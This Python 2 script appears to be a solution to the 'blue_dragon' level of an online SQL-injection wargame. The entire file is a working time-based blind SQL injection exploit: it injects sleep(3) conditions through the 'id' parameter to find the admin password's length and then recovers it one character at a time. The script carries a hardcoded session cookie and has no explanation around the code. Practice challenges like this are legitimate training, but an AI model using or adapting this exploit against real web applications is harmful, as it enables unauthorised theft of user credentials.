LOS2 blue_dragon

import requests
import time

def request(payload):
    start = time.time()
    url = "http://los.rubiya.kr/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php"
    params = {'id':payload}
    headers = {'Cookie':'PHPSESSID=84u3mb02noqq3j7t40iv2roqc7'}
    response = requests.get(url,params=params,headers=headers)
    end = time.time()
    return end-start

length = 0
for i in range(0,100):
    payload = "' or id='admin' and if(length(pw)="+str(i)+",sleep(3),1)-- x"
    if request(payload) > 2.8:
        length = i
        break

print "Find Admin Pw Length[*] = " + str(length)

admin_pw = ""
for i in range(1,length+1):
    for j in range(32,127):
        payload = "' or id='admin' and if(ascii(substring(pw,"+str(i)+",1))="+str(j)+",sleep(3),1)-- x"
        if request(payload) > 2.8:
            admin_pw += chr(j)
            break
print "Find Admin Pw[*] = " + admin_pw